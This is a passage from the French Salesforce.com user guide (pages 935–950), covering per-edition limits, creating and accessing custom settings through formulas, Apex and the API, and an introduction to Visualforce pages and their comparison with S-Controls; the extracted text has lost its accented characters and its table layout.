formule maximale (en
octets) lors de
l'enregistrement

4 000 octets 4 000 octets 4 000 octets 4 000 octets 4 000 octets 4 000 octets

Formules : Taille de
formule maximale (en
octets) lors de la
compilation

5000 octets 5000 octets 5000 octets 5000 octets 5000 octets 5000 octets

Formules : Nombre de
relations

5 par objet

Formules : Fonctions
VLOOKUP

10 par objet 10 par objet 10 par objet 10 par objet 10 par objet 10 par objet 10 par objet

(Des restrictions
supplmentaires
s'appliquent pour les
activits, les champs de
texte long, les champs de
relation et les champs
rcapitulatifs de cumul.
Pour plus d'informations,
reportez-vous Dtails sur
les limites des champs
personnaliss la page 936.

(Des limites s'appliquent

toute combinaison de
rgles de workflow actif,
d'attribution, de rponse
automatique et de
hirarchisation. Pour plus
d'informations,
reportez-vous Dtails sur
les limites de rgles la
page 937.)

5 par objet

5 par objet

5 par objet

3 900
caractres

5 par objet

3 900
caractres

5 par objet

5,000

3 900
caractres

5 par objet

Dvelopper

Fonctionnalit

Guide de l'utilisateur | ditions Salesforce.com et limitations | 935

Personal
Edition

Responsable Group
de contact Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

Rgles de validation actives Non

disponible

20 par objet 20 par objet 20 par objet 100 par

objet

500 par
objet

100 par
objet

Actualisations planifies de Non

tableau de bord
disponible

Non
disponible

Non
disponible

Non
disponible

200

200

(Les
utilisateurs
peuvent
planifier
jusqu' une
actualisation
de tableau
de bord par
heure par
jour.)

(Les
utilisateurs
peuvent
planifier
jusqu' deux
actualisations
de tableau
de bord par
heure par
jour.)

Non
disponible

Rapports planifis

Non
disponible

Non
disponible

Non
disponible

200

200

200

200

Les
utilisateurs
peuvent
planifier
jusqu' trois
rapports par
jour, limits
trois
heures de
dbut
prfres,
non
modifiables.

(Les
utilisateurs
peuvent
planifier
jusqu' un
rapport par
heure par
jour.)

(Les
utilisateurs
peuvent
planifier
jusqu' deux
rapports par
heure par
jour.)

Les
utilisateurs
peuvent
planifier
jusqu' trois
rapports par
jour, limits
trois
heures de
dbut
prfres,
non
modifiables.

Rgles de partage

Non
disponible

Non
disponible

Non
disponible

100

100

100

100

Instantans analytiques

Non
disponible

Non
disponible

Non
disponible

200

200

200

200

Les
utilisateurs
peuvent
planifier une
heure de
dbut
prfre par
jour, non
modifiable.

Les
utilisateurs
peuvent
planifier
trois heures
de dbut
prfres par
jour, non
modifiables.

Les
utilisateurs
peuvent
planifier une
heure de
dbut
prfre par
heure.

Les
utilisateurs
peuvent
planifier une
heure de
dbut
prfre par
jour, non
modifiable.

Non
disponible

La taille
maximale

La taille
maximale

La taille
maximale

La taille
maximale

La taille
maximale

La taille
maximale

Ressources statiques

Dvelopper

Guide de l'utilisateur | ditions Salesforce.com et limitations | 936

Fonctionnalit

Personal
Edition

Balises

Responsable Group
de contact Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

d'une
ressource
statique
donne peut
tre de
5 Mo.

d'une
ressource
statique
donne peut
tre de
5 Mo.

d'une
ressource
statique
donne peut
tre de
5 Mo.

d'une
ressource
statique
donne peut
tre de
5 Mo.

d'une
ressource
statique
donne peut
tre de
5 Mo.

d'une
ressource
statique
donne peut
tre de
5 Mo.

La taille
totale
maximale
des
ressources
statiques
d'une
entreprise
peut tre de
250 Mo.

La taille
totale
maximale
des
ressources
statiques
d'une
entreprise
peut tre de
250 Mo.

La taille
totale
maximale
des
ressources
statiques
d'une
entreprise
peut tre de
250 Mo.

La taille
totale
maximale
des
ressources
statiques
d'une
entreprise
peut tre de
250 Mo.

La taille
totale
maximale
des
ressources
statiques
d'une
entreprise
peut tre de
250 Mo.

La taille
totale
maximale
des
ressources
statiques
d'une
entreprise
peut tre de
250 Mo.

Pour toutes les versions, un utilisateur est limit un maximum de :

500 balises uniques personnelles
5 000 instances de balises personnelles appliques aux enregistrements
Pour tous les utilisateurs, une entreprise est limite :

1 000 balises publiques uniques

50 000 instances de balises publiques appliques aux enregistrements
5 000 000 instances de balises personnelles et publiques appliques aux
enregistrements

Dtails sur les limites des champs personnaliss

Le nombre de champs personnaliss autoriss par objet varie en fonction de l'dition de Salesforce.com. Le nombre des activits,
des champs de texte long, des champs de relation et les champs rcapitulatifs de cumul varie galement. Le tableau suivant
prsente les limites maximales pour chaque type de champ personnalis selon les ditions.
Limites de
Personal
champs
Edition
personnaliss

Responsable Group
de contact
Edition

Professional
Edition

Enterprise
Edition

Developer
Edition

Unlimited
Edition

Nombre total 5
de champs
personnaliss
autoriss

100

100

500

500

500

100

Activits

Pas de limite Pas de limite Pas de limite 20

supplmentaire supplmentaire supplmentaire

100

100

100

Champs de
texte long

Pas de limite 5
supplmentaire

25

25

25

Dvelopper

Guide de l'utilisateur | ditions Salesforce.com et limitations | 937

Limites de
Personal
champs
Edition
personnaliss

Responsable Group
de contact
Edition

Professional
Edition

Enterprise
Edition

Developer
Edition

Unlimited
Edition

Champs de
relation

Pas de limite 25
supplmentaire

25

25

25

25

25

Champs
rcapitulatifs
de cumul

Pas de limite 10
supplmentaire

10

10

10

10

10

Dtails sur les limites de rgles

Les diffrents types de rgles peuvent avoir des restrictions, selon votre dition Salesforce.com. Le tableau suivant prsente les
restrictions lies chaque dition.
Restrictions

Personal
Edition

Nombre total Non

de rgles
disponible
autoris

Responsable Group
de contact
Edition

Professional
Edition

Non
disponible

Non
disponible

300 par objet 300 par objet 300 par objet 300 par objet

Non
disponible

Non
disponible

Non
disponible

500 par
entreprise

Enterprise
Edition

500 par
entreprise

(Des limites
s'appliquent
toute
combinaison
de rgles de
workflow
d'attribution,
de rponse
automatique
et de
hirarchisation,
la fois actives
et inactives.)
Rgles de
Non
workflow et disponible
processus
d'approbation

Pour
Enterprise
Edition,
Developer
Edition et
Unlimited
Edition,
chaque rgle
de workflow
et chaque
processus
d'approbation
peuvent avoir
:
10dclencheurs
temporels

Developer
Edition

500 par
entreprise

Unlimited
Edition

500 par
entreprise

Dvelopper

Restrictions

Guide de l'utilisateur | ditions Salesforce.com et limitations | 938

Personal
Edition

Responsable Group
de contact
Edition

Professional
Edition

Enterprise
Edition

40 actions
immdiates
40 actions
chronologiques
par
dclencheur
temporel

Notez que
pour les
actions
immdiates et
chronologiques,
il ne peut pas
exister plus de
:

Rgles
Non
d'attribution, disponible
de rponse
automatique
et de
hirarchisation

Non
disponible

Non
disponible

Pour
Professional
Edition,
Enterprise
Edition,
Developer
Edition et
Unlimited
Edition,
chaque rgle
d'attribution,
de rponse
automatique
et de
hirarchisation
peut avoir :

3 000
entres de
rgle
300
entres de
rgles de

10 alertes
par e-mail
10 tches
10 mises
jour des
champs
10
messages
sortants

Developer
Edition

Unlimited
Edition

Dvelopper

Guide de l'utilisateur | Vue d'ensemble des paramtres personnaliss | 939

Restrictions

Personal
Edition

Responsable Group
de contact
Edition

Professional
Edition

Dclencheurs Non
temporels de disponible
workflow par
heure

Non
disponible

Non
disponible

Enterprise
Edition

Developer
Edition

Unlimited
Edition

500

50

1,000

critres de
formule
25 critres
de filtrage
par entre
de rgle

Non
disponible

(Pour plus
d'informations,
reportez-vous

Observations
sur les actions
chronologiques
et les
dclencheurs
temporels la
page 732.)

Voir aussi :
Surveillance des ressources
Limites concernant l'utilisation de l'API Force.com
Portail Client - Limites de configuration

Vue d'ensemble des paramtres personnaliss

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des paramtres
personnaliss :

Personnaliser l'application

Les paramtres personnaliss sont semblables aux objets personnaliss ; ils permettent aux dveloppeurs d'applications de crer
des ensembles de donnes personnaliss ainsi que de crer et d'associer des donnes personnalises d'une organisation, d'un
profil ou d'un utilisateur spcifique. Toutes les donnes des paramtres personnaliss sont exposes dans la mmoire cache de

Dvelopper

Guide de l'utilisateur | Vue d'ensemble des paramtres personnaliss | 940

l'application, ce qui optimise l'accs sans les cots inhrents aux requtes rptes vers la base de donnes. Ces donnes sont
ensuite utilises par les champs de formule, les rgles de validation, l'Apex et l'API des services Web Force.com.
Il existe deux types de parmtres personnaliss :
Liste de paramtres personnaliss
Ce type de paramtre personnalis fournit un ensemble de donnes statiques rutilisable, accessible dans toute l'organisation.
Si vous utilisez souvent un ensemble de donnes spcifique dans votre application, l'insertion de ces donnes dans une
liste de paramtres personnaliss permet de rationaliser l'accs cet ensemble. Les donnes de la liste de paramtres ne
varient pas selon le profil ou l'utilisateur, mais elles sont disponibles l'chelle de l'organisation. Par exemple, les donnes
de la liste peuvent comprendre des codes nationaux en deux lettres, des indicatifs tlphoniques internationaux et des
numros de catalogues de produits. Les donnes tant mises en cache, l'accs est conomique et efficace : aucune requte
SOQL, comptabilise dans les limites du contrleur, n'est requise.
Hirarchie de paramtres personnaliss
Ce type de paramtre personnalis utilise une logique hirarchique intgre qui permet de personnaliser les paramtres
de profils ou d'utilisateurs spcifiques. La logique de la hirarchie vrifie les paramtres d'utilisateur, de l'organisation et
de profil de l'utilisateur actuel, puis renvoie la valeur la plus spcifique ou la plus faible . Dans la hirarchie, les
paramtres d'une organisation sont remplacs par les paramtres de profil, qui sont leur tour remplacs par les paramtres
de l'utilisateur.
Les exemples ci-dessous illustrent l'utilisation de paramtres personnaliss :

Un partenaire Salesforce.com a cr une application d'expdition dans laquelle les utilisateurs doivent renseigner des codes
nationaux pour les livraisons internationales. En crant une liste de paramtres de tous les codes nationaux, les utilisateurs
peuvent accder rapidement ces donnes sans envoyer de requte la base de donnes.
Un partenaire Salesforce.com a cr une application pour calculer et suivre les compensations de ses reprsentants, mais
les pourcentages de commission sont bass sur l'anciennet. En crant un paramtre de hirarchie, l'administrateur peut
associer un pourcentage de commission diffrent pour chaque profil au sein du service commercial. Dans l'application, un
champ de formule peut tre utilis afin de calculer correctement les compensations de tous les utilisateurs. Les paramtres
personnaliss au niveau du profil insrent le pourcentage de commision appropri.
Un partenaire Salesforce.com a cr une application qui affiche une carte de tous les sites clients, la meilleure route prendre
et les conditions de circulation. Ces informations sont utiles pour les commerciaux, mais les responsables de compte
s'intressent uniquement aux sites des clients. En crant un paramtre de hirarchie contenant des champs personnaliss
avec des cases cocher pour l'itinraire et la circulation, vous pouvez activer ces donnes uniquement pour le profile
Commercial .

Pour crer et utiliser des paramtres personnaliss, suivez les tapes ci-dessous :
1.
2.
3.
4.

Crez le paramtre personnalis.

Ajoutez des champs au paramtre personnalis.
Ajoutez des donnes et dfinissez le niveau d'accs pour les donnes du paramtre personnalis.
Rfrencez les donnes du paramtre personnalis dans votre application, l'aide de champs de formule, de rgles de
validation, d'Apex ou de l'API des services Web Force.com.

Vous pouvez galement inclure un paramtre personnalis dans un package. La visibilit du paramtre personnalis dans le
package dpend du paramtre Visibilit.
Remarque: Seules les dfinitions des paramtres sont incluses dans un package, pas les donnes. Pour inclure des
donnes, vous devez complter les paramtres personnaliss l'aide d'un script Apex ou API standard excut par
l'organisation abonne, une fois le package install.

Dvelopper

Guide de l'utilisateur | Vue d'ensemble des paramtres personnaliss | 941

Gestion des paramtres personnaliss

Cliquez sur Nouveau pour crer un paramtre personnalis. Une fois le paramtre personnalis cr, vous devez lui ajouter
des champs.
Aprs avoir cr un paramtre personnalis, vous pouvez excuter les oprations suivantes :

Cliquer sur Modifier en regard du nom du paramtre personnalis pour modifier son nom, son tiquette ou sa description.
Cliquez sur Suppr pour supprimer un paramtre personnalis.
Remarque: Une icne indique que le paramtre personnalis se situe dans un package gr install. Vous ne
pouvez ni modifier ni supprimer un paramtre personnalis install partir d'un package gr.

Cliquez sur Grer pour ajouter des donnes un paramtre personnalis. Vous devez ajouter des champs avant d'ajouter
des donnes.

Limites des paramtres personnaliss

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des paramtres
personnaliss :

Personnaliser l'application

Salesforce.com impose les limites suivantes relatives au volume des donnes mises en cache et aux paramtres personnaliss :

10 Mb de donnes mises en cache par organisation.

300 champs par paramtre personnalis.
Vous ne pouvez pas partager un objet ou un enregistrement de paramtre personnalis.
Aucun responsable n'est attribu lors de la cration d'un paramtre personnalis, le responsable ne peut donc pas tre
modifi.

Accs des paramtres personnaliss

Vous pouvez accder des paramtres personnaliss depuis des champs de formule, des rgles de validation, l'Apex et l'API
des services Web Force.com. Des exemples de segments de code sont prsents ci-dessous.
Champs de formule
Les champs de formule fonctionnent uniquement pour des paramtres personnaliss de hirarchie et ne peuvent pas tre
utiliss pour des paramtres personnaliss de liste. Pour plus d'informations sur l'utilisation de champs de formule,
reportez-vous Cration d'applications la demande : Introduction Force.com Platform
{!$Setup.CustomSettingName__c.CustomFieldName__c}

Dvelopper

Guide de l'utilisateur | Vue d'ensemble des paramtres personnaliss | 942

Apex
Les scripts Apex peuvent accder aux deux types de paramtres personnaliss.
Remarque: Si la Confidentialit d'un paramtre personnalis est Protge et que le paramtre personnalis
est contenu dans un package gr, l'organisation abonne ne peut pas modifier les valeurs ni y accder l'aide
d'Apex.
Pour plus d'informations sur les mthodes de sparamtres personnaliss et Apex, reportez-vous au guide Force.com Apex
Code Developer's Guide.
Exemples de paramtres personnaliss de liste
Lorsque vous ajoutez des donnes un paramtre personnalis, vous devez nommer chaque ensemble de donnes.
Vous pouvez ainsi diffrencier les ensembles de donnes par leur nom. L'exemple suivant renvoie une carte des
donnes de paramtres personnaliss. La mthode getAll renvoie les valeurs de tous les champs personnaliss
associs au paramtre de liste.
Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

L'exemple suivant utilise la mthode getValues pour renvoyer toutes les valeurs de champ associes l'ensemble
de donnes spcifique. Cette mthode peut tre utilise avec des paramtres personnaliss de liste et de hirarchie,
l'aide de diffrents paramtres.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

Exemples de paramtres personnaliss de hirarchie

L'exemple suivant utilise la mthode getOrgDefaults pour renvoyer les valeurs d'ensembles de donnes au
niveau de l'organisation :
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

L'exemple suivant utilise la mthode getOrgDefaults pour renvoyer les valeurs d'ensembles de donnes du profil
spcifi : La mthode getInstance peut galement tre utilise avec un ID d'utilisateur.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

API des services Web Force.com

Les paramtres personnaliss dont la Confidentialit est dfinie sur Publique sont exposs l'API de faon identique
aux objets personnaliss.
Remarque: Si la Confidentialit est dfinie sur Protge et que le paramtre personnalis est contenu dans
un package gr, le paramtre personnalis n'est pas accessible l'aide de l'API dans l'organisation dveloppeur
et dans l'organisation abonne.
Utilisez n'importe quel outil avec un accs API pour excuter des requte ou des oprations lies des paramtre
d'autorisation de profil. Pour plus d'informations, reportez-vous au guide Force.com Web Services API Developer's
Guide.

Dvelopper

Guide de l'utilisateur | Dfinition de paramtres personnaliss | 943

Dfinition de paramtres personnaliss

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des paramtres
personnaliss :

Personnaliser l'application

Pour crer ou modifier un paramtre personnalis, procdez comme suit :

1. Cliquez sur Configuration Dvelopper Paramtres personnaliss.
2. Cliquez sur Nouveau pour crer un paramtre personnalis, sur Modifier en regard du nom d'un paramtre personnalis
ou sur Modifier lors de l'affichage des dtals d'un paramtre personnalis.
Remarque: Une icne indique que le paramtre personnalis se situe dans un package gr-install. Vous ne
pouvez ni modifier ni supprimer un paramtre personnalis install partir d'un package gr.
3. Dfinissez les informations suivantes :

Etiquette : saisissez l'tiquette affiche dans l'application.

Nom d'objet : saisissez le nom utiliser lorsque le paramtre personnalis est rfrenc par les champs de formule,

les rgles de validation, l'Apex ou l'API des services Web Force.com.

Type de paramtre : slectionnez le type Liste ou Hirarchie. Le type Liste dfinit les donnes au niveau de
l'application, telles que les codes nationaux ou les abrviations d'tats amricains. Le type Hierarchie dfinit les paramtres
de personnalisation, tels que les valeurs de champ par dfaut, qui peuvent tre remplacs dans les niveaux infrieurs de
la hirarchie.
Important: Une fois le paramtre personnalis enregistr, vous ne pouvez plus modifier cette valeur.

Visibilit : slectionnez une visibilit Protge ou Publique.

Protge : si le paramtre personnalis est contenu dans un package gr, les organisations abonnes ne peuvent pas
l'afficher. Il ne fait pas partie de la liste du package. En outre, les organisations abonnes ne peuvent pas accder au
paramtre personnalis l'aide d'e l'Apex ou de l'API, contrairement aux organisations dveloppeur qui peuvent y
accder. Si le paramtre personnalis est contenu dans un package non gr, il est disponible comme tout objet
personnalis via Enterprise WSDL (comme si la Visibilit tait Publique).
Publique : le paramtre personnalis est disponible via Enterprise WSDL comme tout objet personnalis. Vous
pouvez intgrer un package les paramtres personnaliss dfinis comme publics. Les organisations abonnes
peuvent modifier les valeurs et y accder l'aide de l'Apex et de l'API, quel que soit le type de package (gr ou non
gr).
Important: Une fois le paramtre personnalis enregistr, vous ne pouvez plus modifier cette valeur.

Dvelopper

Guide de l'utilisateur | Affichage des paramtres personnaliss | 944

4. Saisissez une description (facultative) du paramtre personnalis. Une description prcise aide diffrencier les paramtres
personnaliss lorsqu'ils sont affichs dans une liste.
5. Cliquez sur Enregistrer.
Remarque: Seules les dfinitions des paramtres sont incluses dans un package, pas les donnes. Pour inclure des
donnes, vous devez complter les paramtres personnaliss l'aide d'un script Apex ou API standard excut par
l'organisation abonne, une fois le package install.
Lorsque vous avez cr un paramtre personnalis, vous devez galement lui ajouter des champs.

Affichage des paramtres personnaliss

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des paramtres
personnaliss :

Personnaliser l'application

Une fois un paramtre personnalis cr, vous pouvez afficher ses dtails, le grer et ajouter des champs.
Cliquez sur Configuration Dvelopper Paramtres personnaliss, puis sur le nom du paramtre personnalis afficher.
Lors de l'affichage d'un paramtre personnalis, vous pouvez effectuer les oprations suivantes :

Cliquez sur Modifier pour changer un paramtre personnalis.

Cliquez sur Supprimer pour supprimer un paramtre personnalis.
Remarque: Une icne indique que le paramtre personnalis se situe dans un package gr-install. Vous ne
pouvez ni modifier ni supprimer un paramtre personnalis install partir d'un package gr.

Cliquez sur Grer pour ajouter des donnes un paramtre personnalis.

De plus, cliquez sur Nouveau pour ajouter des champs au paramtre personnalis.

Dvelopper

Guide de l'utilisateur | Ajout de champs de paramtres personnaliss | 945

Ajout de champs de paramtres personnaliss

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des paramtres
personnaliss :

Personnaliser l'application

Aprs avoir dfini des paramtres personnaliss, vous devez leur ajouter des champs personnaliss. Les champs personnaliss
contiennent les donnes qu'utilisent le paramtre personnalis.
Pour ajouter des champs personnaliss un paramtre personnalis :
1. Cliquez sur Configuration Dvelopper Paramtres personnaliss.
2. Cliquez sur le nom du paramtre personnslis auquel vous souhaitez ajouter des champs (si vous venez de crer un paramtre
personnalis, vous accdez directement la page Information de paramtre personnalis).
3. Cliquez sur Nouveau.
4. Slectionnez un type de champ, puis cliquez sur Suivant.
5. Saisissez les dtails de votre champ personnalis.
6. Une fois les informations confirmes, cliquez sur Enregistrer ou sur Enregistrer et Nouveau.
Aprs avoir ajout les champs requis, vous devez ajouter des donnes, puis spcifier le niveau d'accs pour les paramtres
personnaliss de hirarchie.

Gestion des donnes de paramtres personnaliss

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des paramtres
personnaliss :

Personnaliser l'application

Aprs avoir dfini des paramtres personnaliss et ajout des champs, renseignez les champs l'aide de la procdure suivante
:
1. Cliquez sur Configuration Dvelopper Paramtres personnaliss.
2. Cliquez sur Grer en regard d'un paramtre personnalis. Vous pouvez galement cliquer sur Grer dans la page de dtails
d'un paramtre personnalis.
3. Saisissez ou modifiez les valeurs du paramtre personnalis.

Si vous grez un paramtre de liste :

-

Cliquez sur Nouveau pour ajouter les donnes aux champs.

Dvelopper

Guide de l'utilisateur | Gestion des donnes de paramtres personnaliss | 946

Cliquez sur Modifier en regard du nom d'un ensemble de donnes existant pour le renommer ou pour modifier les
donnes.
Cliquez sur Suppr en regard du nom d'un ensemble de donnes existant pour le supprimer.

Si vous grez un paramtre de hirarchie, dterminez l'emplacement dans la hirarchie d'autorisations dans lequel vous
souhaitez ajouter des donnes par dfaut (organisation, profil ou utilisateur).
Pour ajouter des donnes par dfaut au niveau de l'organisation :
-

Cliquez sur Nouveau dans la section Valeur par dfaut au niveau de l'organisation. Si des donnes ont dj t
dfinies pour votre organisation, vous pouvez uniquement les modifier ou les supprimer.

Pour ajouter des donnes par dfaut au niveau du profil ou de l'utilisateur :

-

Cliquez sur Nouveau dans la partie infrieure de la page, prs de Configuration du propritaire.

Une fois les donnes dfinies, vous pouvez effectuer les oprations suivantes :

Cliquez sur Modifier dans la section Valeur par dfaut au niveau de l'organisation pour modifier l'ensemble de donnes
par dfaut au niveau de l'organisation, ou sur Supprimer pour le supprimer (uniquement pour les paramtres personnaliss
hirarchiques).
Cliquez sur Afficher en regard du nom d'un ensemble de donnes existant pour afficher les donnes (uniquement pour
les paramtres personnaliss hirarchiques).
Cliquez sur Modifier en regard du nom d'un ensemble de donnes existant pour le renommer ou pour modifier les
donnes.
Cliquez sur Suppr en regard du nom d'un ensemble de donnes existant pour le supprimer.

Ajout de donnes de paramtres personnaliss

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des paramtres
personnaliss :

Personnaliser l'application

Aprs avoir dfini vos paramtres personnaliss et ajout des champs, vous devez renseigner les champs avec des donnes.
Vous pouvez dfinir un ou plusieurs ensembles de donnes. Pour des paramtres personnaliss de liste, chaque ensemble de
donnes est nomm et devient accessible via ce nom l'aide de l'Apex, de champs de formule, etc.
Pour des paramtres personnaliss qui correspondent des hirarchies, les donnes sont accessibles en fonction du niveau
d'accs (utilisateur, profil ou organisation). Le niveau le plus bas est utilis en premier. Ainsi, si vous avez dfini un ensemble
de donnes au niveau utilisateur, ces donnes sont utilises, sauf indication contraire dans votre application. Par exemple, vous
pouvez spcifier diffrents numros de contact pour votre application : un pour l'utilisateur gnral et un autre affich uniquement
pour les administrateurs systme.
Pour ajouter des donnes des champs de paramtre personnalis :

Dvelopper

Guide de l'utilisateur | Prsentation de Visualforce | 947

1. Cliquez sur Configuration Dvelopper Paramtre personnalis, puis sur Grer en regard d'un paramtre personnalis.
Vous pouvez galement cliquer sur Grer dans la page de dtails d'un paramtre personnalis.
2. Cliquez sur Nouveau ou sur Modifier en regard d'un ensemble de donnes existant.
3. Ajoutez ou modifiez des donnes.
Pour des paramtres personnaliss qui correspondent des listes, procdez comme suit :
a. Spcifiez ou modifiez le nom de l'ensemble de donnes. Ce nom est utilis par l'Apex, les champs de formule, etc.
b. Saisissez ou modifiez les donnes de tous les champs.
c. Cliquez sur Enregistrer.
Pour des paramtres personnaliss qui correspondent des hirarchies, procdez comme suit :
a. Pour les valeurs au niveau de l'organisation par dfaut, saisissez ou modifier les donnes des champs. L'emplacement
de l'organisation par dfaut est automatiquement renseign.
b. Pour des valeurs au niveau profil ou utilisateur, slectionnez Profil ou Utilisateur dans la liste de slection
Emplacement. Saisissez le nom du profil ou de l'utilisateur, ou utilisez la bote de dialogue de recherche. Saisissez ou
modifiez ensuite les donnes des champs.
c. Cliquez sur Enregistrer.

Affichage des donnes de paramtres personnaliss

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des paramtres
personnaliss :

Personnaliser l'application

Aprs avoir ajout des champs et ajout des donnes ces champs, vous pouvez afficher les donnes :
1. Cliquez sur Configuration Dvelopper Paramtre personnalis, puis sur Grer en regard d'un paramtre personnalis
dj dfini. Vous pouvez galement cliquer sur Grer dans la page de dtails d'un paramtre personnalis.
2. Cliquez sur Afficher en regard de l'ensemble de donnes que vous souhaitez afficher (uniquement pour les paramtres
personnaliss hirarchiques).

Prsentation de Visualforce
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Visualforce utilise un langage balis pour aider les dveloppeurs concevoir les applications et personnaliser l'interface
utilisateur de Salesforce.com. Grce Visualforce, vous pouvez :

Dvelopper

Guide de l'utilisateur | Prsentation de Visualforce | 948

Crer des interfaces utilisateur personnalises qui tirent profit des styles Salesforce.com standard
Crer des interfaces utilisateur personnalises qui remplacent entirement les styles Salesforce.com standard
Crer des assistants et d'autres schmas de navigation qui utilisent des rgles spcifiques aux donnes pour une interaction
des applications optimale et efficace

Visualforce dispose d'un grand choix de composants permettant de dvelopper des pages rapidement sans que vous ayez crer
de nombreuses fonctionnalits. Dans le langage balis de Visualforce, chaque balise correspond un composant grossier ou
dense, tel qu'une section de page, une liste associe ou un champ. Les composants peuvent tre contrls par la mme logique
que celle utilise dans les pages Salesforce.com standard. Les dveloppeurs peuvent aussi associer leur propre logique un
contrleur personnalis ou une extension de contrleur rdig en code Apex.
Paramtres de scurit du navigateur et Visualforce
Certaines pages Visualforce sont excutes partir de serveurs *.force.com. Si vous ajoutez *.salesforce.com aux listes de
confiance de votre navigateur, vous devez galement ajouter *.force.com.
Selon votre navigateur et ses paramtres, un message d'erreur semblable au suivant peut s'afficher sur certaines pages :
Les paramtres de confidentialit de votre navigateur ont bloqu l'affichage de
certains contenus sur cette page. Pour afficher ce contenu, vous devez modifier les
paramtres de confidentialit de votre navigateur afin d'autoriser les cookies "tiers"
du domaine mypages.na1.visual.force.com. Alternativement, si vous utilisez Internet
Explorer, vous pouvez ajouter mypages.na1.visual.force.com votre liste de sites
de confiance de la page des options de scurit.
Salesforce.com inclut un en-tte de projet P3P (Plate-forme des prfrences en matire de confidentialit) sur certaines pages.
L'en-tte est form des paramtres suivants :
Objectif
CUR - Information utilise pour effectuer l'activit laquelle elle est associe.
Catgorie
STA - Dispositifs de maintenance d'une session avec statut et avec un utilisateur ou de reconnaissance automatique des
utilisateurs ayant visit un site particulier ou accd prcdemment un contenu particulier ; par exemple des cookies
HTTP.
Destinataire
OTR - Entits lgales respectant diffrentes pratiques. Les utilisateurs ne peuvent pas s'abonner ni se dsabonner de cet
usage.
Si votre navigateur est configur pour prendre en charge le projet P3P, cet en-tte permet d'afficher toutes les pages Visualforce.
Pour plus d'informations sur le projet P3P, reportez-vous Projet P3P (Plate-forme des prfrences en matire de confidentialit.
Si votre navigateur est configur pour bloquer les cookies tiers, s'il n'utilise aucun en-tte P3P et qu'un message d'erreur
semblable au message ci-dessus s'affiche, effectuez l'une des actions suivantes :

Configurez le P3P dans votre navigateur

Modifiez les paramtres de votre navigateur pour autoriser les cookies tiers

Dvelopper

Guide de l'utilisateur | Comment les pages Visualforce se comparent-elles aux commandes S-Controls ? | 949

Ajoutez le serveur appropri la liste d'exceptions des cookies de votre navigateur

Voir aussi :
Activation du mode Dveloppement
Dfinition des pages Visualforce
Gestion des pages Visualforce
Affichage et modification des pages Visualforce
Cration d'onglets Visualforce
Qu'est-ce qu'une ressource statique ?
Prsentation d'un composant personnalis

Comment les pages Visualforce se comparent-elles aux

commandes S-Controls ?
Les pages Visualforce sont considrs comme la nouvelle gnration de commandes s-controls. Elles doivent tre utilises
la place des commandes s-controls ds que possible, car elles offrent des performances accrues et sont faciles crire.
ATTENTION: Les commandes S-control ont t remplaces par des pages Visualforce. Aprs janvier 2010,
Salesforce.com supprimera la possibilit de crer et de distribuer de nouvelles commandes S-control. Les commandes
S-control existantes ne seront pas affectes.
Le tableau suivant prsente les diffrences entre les pages Visualforce et les commandes s-controls.
Pages Visualforce

Commandes S-Control

Comptences techniques requises

HTML, XML

HTML, JavaScript, AJAX Toolkit

Style de langage

Balisage

Code procdural

Modle de remplacement de page

Assembler des composants standard et

personnaliss l'aide de balises

Ecrire en HTML et JavaScript pour la

page entire

Bibliothque de composants
Salesforce.com standard

Oui

Non

Accder au comportement de la
plate-forme intgre

Oui, via le contrleur standard

Non

Liaison de donnes

Oui

Non

Les dveloppeurs peuvent lier un

composant de saisie, par exemple une
case de texte, un champ donn, comme
Nom du compte. Si un utilisateur
enregistre une valeur dans ce composant
de saisie, il est galement sauvegard dans
la base de donnes.

Les dveloppeurs ne peuvent pas lier un

composant de saisie un champ donn.
Il doivent la place crire un code
JavaScript qui utilise l'API pour mettre
jour la base de donnes avec des valeurs
de champ spcifiques l'utilisateur.

Dvelopper

Guide de l'utilisateur | Activation du mode Dveloppement | 950

Pages Visualforce

Commandes S-Control

Hritage de la feuille de style

Oui

Non, les feuilles de style Salesforce.com

doivent tre fournies manuellement

Respect des mtadonnes de champ,

telles que l'unicit

Oui, par dfaut

Oui, si cod en JavaScript l'aide d'un

appel d'API describe

Si un utilisateur tente de sauvegarder un

enregistrement qui viole l'unicit ou la
ncessit d'attributs de champ, un
message d'erreur est automatiquement
affich et l'utilisateur peut ressayer.

Si un utilisateur tente de sauvegarder un

enregistrement qui viole l'unicit ou la
ncessit d'attributs de champ, un
message d'erreur est affich uniquement
si le dveloppeur de la commande
s-control a crit un code qui vrifie ces
attributs.

Interaction avec Apex

Directe, par liaison un contrleur

personnalis

Indirecte, en utilisant des mthodes

webService Apexvia l'API

Performances

Les plus leves car le balisage est excut Les moins leves car chaque appel
sur la plate-forme
l'API ncessite un passage par le serveur ;
il revient au dveloppeur d'ajuster les
performances

Conteneur de page

Natif

Dans un iFrame

Activation du mode Dveloppement

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour activer le mode de dveloppement :

Personnaliser l'application

Bien que vous puissiez afficher et modifier les dfinitions de page Visualforce dans la zone de configuration en cliquant sur
